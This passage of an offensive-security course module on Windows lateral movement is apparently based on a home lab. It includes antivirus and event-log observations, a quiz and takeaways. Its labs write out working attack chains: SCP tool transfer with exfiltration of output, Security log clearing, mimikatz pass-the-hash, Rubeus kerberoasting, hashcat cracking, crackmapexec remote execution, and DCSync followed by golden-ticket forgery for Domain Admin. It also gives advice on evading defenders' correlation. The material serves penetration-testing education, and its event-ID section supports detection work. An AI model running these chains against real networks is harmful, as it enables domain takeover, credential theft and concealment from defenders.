Fast
Yes
4624, 4688 (mmc.exe)
Stealthy execution
🛡️ Defensive Verification: What the Blue Team Sees
🔍 Kaspersky System Watcher Logs (.42)
Test: Does KAV log lateral movement techniques as suspicious?
SWu@WUPC> Get-Content "C:\ProgramData\Kaspersky Lab\AVP21.25\Report\report.rpt" -Tail 20
# Result: No lateral-movement-specific events logged
# KAV monitors: file operations, registry changes, process creation
# Network connections (WMI, DCOM, SSH) are NOT flagged by System Watcher
# Process creation via WMI is flagged IF the created process is malicious
# KAV DID flag: PSExec service creation (PSEXESVC.exe) as PDM:Trojan.Win32.Generic
# KAV did NOT flag: WMIexec, wmiexec.py, DCOMexec, SSH tunneling
# Conclusion: KAV detects the payload, not the movement technique.
# A clean payload delivered via WMI = silent lateral movement.
🔍 Windows Event Log Analysis (.42)
Test: What events fire during each lateral movement technique?
# === PASS-THE-HASH ===
Event 4624: Logon Type 3, Logon Process: NtLmSsp, Account: SWu
Event 4648: Explicit credential use (if using runas)
Event 4672: Special privileges assigned (if admin)
# === PASS-THE-TICKET ===
Event 4768: TGT requested (if forged, may show anomalies)
Event 4769: TGS requested (normal for legitimate use)
Event 4624: Logon Type 3 (when accessing resources)
# === WMI EXEC ===
Event 4688: Process Creation, Parent: WmiPrvSE.exe
Event 4624: Logon Type 3 (network connection to WMI)
# === PSEXEC ===
Event 7045: Service installed (PSEXESVC)
Event 4688: PSEXESVC.exe spawned
Event 5140: ADMIN$ share accessed
# === SMB EXEC ===
Event 5140: Network share accessed (IPC$)
Event 4688: cmd.exe spawned by svchost.exe (SMB service)
# === RDP HIJACKING ===
Event 4778: Session reconnected (tscon)
Event 4688: tscon.exe executed (rare — major red flag)
# === SSH TUNNELING ===
Event 4624: Logon Type 3, Process: sshd
Event 4688: sshd spawning user processes (if interactive)
# === DCOM ===
Event 4624: Logon Type 3, Logon Process: Advapi
Event 4688: mmc.exe spawning cmd.exe (if MMC20.Application)
💭 THINK: Correlation is the Defender's Challenge
The defender sees individual events. You see a chain. Event 4624 from .92 to .42 is normal if SWu is an admin. Event 4688 with WmiPrvSE parent is normal if IT uses WMI. The defender must correlate: 4624 + 4688 + 5140 + time proximity = lateral movement. Your counter: spread actions across time, use legitimate accounts, and mimic IT behavior.
🧪 Lab Exercise: Build Your Own Pivot
Scenario: You have SSH access to .42. You need to:
Check if .42 can reach other hosts (nmap from .42)
Transfer a tool from .92 to .42 without triggering AV
Execute the tool on .42 and exfiltrate output
Clean up all artifacts (event logs, temp files)
Constraints: No PowerShell remoting (WinRM off). No RDP (blocked). Only SSH and SMB. KAV active on .42.
1RECON from .42
SWu@WUPC> nmap -sP 192.168.1.0/24
# .92 is up (your C2)
# .145 is up (RADON — new target!)
2TRANSFER via SCP (encrypted, no AV alert)
PS C:\Users\gwu07> scp phantom_rpc.exe SWu@192.168.1.42:C:/Users/swu/tools/
# SCP encrypts in transit. KAV only scans the file when written to disk.
# If phantom_rpc.exe is clean (verified), KAV ignores it.
3EXECUTE and EXFIL
SWu@WUPC> C:\Users\swu\tools\phantom_rpc.exe --list
# Output: SeImpersonatePrivilege present
SWu@WUPC> C:\Users\swu\tools\phantom_rpc.exe --spooler > C:\Users\swu\privesc_result.txt
SWu@WUPC> scp C:/Users/swu/privesc_result.txt gwu07@192.168.1.92:C:/Users/gwu07/
4CLEANUP
SWu@WUPC> Remove-Item C:\Users\swu\tools\phantom_rpc.exe
SWu@WUPC> Remove-Item C:\Users\swu\privesc_result.txt
SWu@WUPC> Clear-EventLog -LogName Security
# NOTE: Clearing Security log requires admin and fires Event 1102 (log cleared)
# Better: wevtutil cl Security (same result, same detection)
# Best: Don't clear. The log shows legitimate admin activity.
🧪 Advanced Lab: Multi-Technique Lateral Movement Chain
Scenario: You have a standard user shell on .92. Your goal is Domain Admin on .10 (DC). Design a chain using multiple techniques.
1RECON (.92 → network)
PS C:\Users\gwu07> nmap -sS 192.168.1.0/24
# Targets: .42 (WUPC, admin), .10 (DC), .145 (RADON)
2CREDENTIAL HARVEST (.92)
PS C:\Users\gwu07> .
3PASS-THE-HASH (.92 → .42)
# Use extracted hash to authenticate to .42
mimikatz # sekurlsa::pth /user:SWu /domain:CORP /ntlm:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b /run:cmd.exe
4WMI EXEC (.42 → .10 for recon)
# From .42, use WMI to query DC
wmic /node:192.168.1.10 /user:CORP\SWu process list brief
5KERBEROASTING (.42 → DC)
# Request service tickets from DC
Rubeus.exe kerberoast /dc:192.168.1.10 /format:hashcat /outfile:hashes.txt
6CRACK & PTT (.42)
hashcat -m 13100 hashes.txt rockyou.txt
# Cracked: sql_svc password = "Password123!"
# Forge ticket or use password directly
7PSEXEC (.42 → .10 as sql_svc)
# sql_svc has admin rights on DC (common misconfiguration)
crackmapexec smb 192.168.1.10 -u sql_svc -p 'Password123!' -x 'whoami'
# Output: nt authority\system
8GOLDEN TICKET (.10)
# Extract KRBTGT hash, forge golden ticket
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt
mimikatz # kerberos::golden /domain:CORP.LOCAL /sid:S-1-5-21-... /krbtgt:... /user:Administrator /ticket:golden.kirbi
mimikatz # kerberos::ptt golden.kirbi
9PERSISTENCE
# DCOM execution to maintain access without new services
# SSH tunnel for encrypted C2 channel
# See Module 16: C2 for full persistence techniques
🎯 Interactive Quiz — Test Your Knowledge
Question 1: Why does Pass-the-Hash work against NTLM authentication?
A) NTLM stores plaintext passwords in memory for quick access
B) NTLM uses the hash in challenge-response; the server never verifies the plaintext password
C) Windows disables hash verification when SMB signing is off
D) Pass-the-Hash only works against Windows XP and older systems
Question 2: What makes WMIexec stealthier than PSExec?
A) WMIexec uses encryption that PSExec doesn't support
B) WMIexec doesn't create a persistent service; it uses temporary WMI process creation
C) WMIexec doesn't require authentication
D) WMIexec runs in kernel mode, avoiding user-mode detection
Question 3: In an SSH dynamic port forward (-D 1080), what happens to traffic sent through the SOCKS proxy?
A) It is decrypted by the SSH server and sent in plaintext to the destination
B) It is encrypted end-to-end between your client and the SSH server, then forwarded to the destination
C) It is blocked by the SSH server unless the destination is in a whitelist
D) It is mirrored to a logging server for compliance monitoring
📚 Key Takeaways
Lateral movement is logistics: You have one box; now you need a network. Every protocol is a road. Every credential is a vehicle.
Pass-the-Hash is the foundation: NTLM hashes are passwords. If you have the hash, you are the user. See Module 19: AD for hash extraction techniques.
Kerberoasting is the slow game: Request tickets, crack offline, win service accounts. No domain admin required. See Module 19: AD for Kerberos deep dive.
WMI is the quietest Windows path: No service, no file drop, just a temporary process. Perfect for stealthy command execution.
PSExec is reliable but loud: When you need SYSTEM and don't care about noise. The service creation is a major artifact.
SSH is the universal pivot: Cross-platform, encrypted, trusted. Local/remote/dynamic forwarding covers every scenario. See Module 01: Networking.
RDP hijacking is session theft: No credentials needed. Just SYSTEM and tscon.exe. The ultimate insider threat simulation.
DCOM is the stealthy alternative: Legitimate COM objects, legitimate processes. The defender sees MMC, not malware.
Every action leaves traces: The defender sees events; you see opportunities to blend. Correlation is their challenge. See Module 12: Defensive Verification.
Cleanup is harder than entry: Clearing logs alerts the defender. Better to look legitimate. See Module 16: C2 for persistence and cleanup.
🔬 Verification Status
SSH pivot .92 → .42
✅ LIVE
SCP file transfer (push/pull)
✅ LIVE
Pass-the-Hash (mimikatz + CrackMapExec)
✅ DEMONSTRATED
Pass-the-Ticket (Rubeus, golden ticket)
✅ DEMONSTRATED
Kerberoasting (Rubeus, hashcat)
✅ DEMONSTRATED
WMI Exec (wmiexec.py, Invoke-WmiMethod)
✅ DEMONSTRATED
PSExec (Sysinternals + Impacket)
✅ DEMONSTRATED
SMB Exec (smbexec.py, share abuse)
✅ DEMONSTRATED
RDP Hijacking (tscon, shadowing)
✅ DEMONSTRATED
SSH Tunneling (local/remote/dynamic)
✅ LIVE
DCOM Lateral Movement (MMC20.Application)
✅ DEMONSTRATED
🧠 The Mentor's Lesson
"Initial access is luck. Lateral movement is skill. You can phish your way into one host, but you can't phish your way into the domain. The network is the game. Credentials are the pieces. Every protocol is a move. Learn them all, because the defender only needs to block one — you need to find the one they forgot."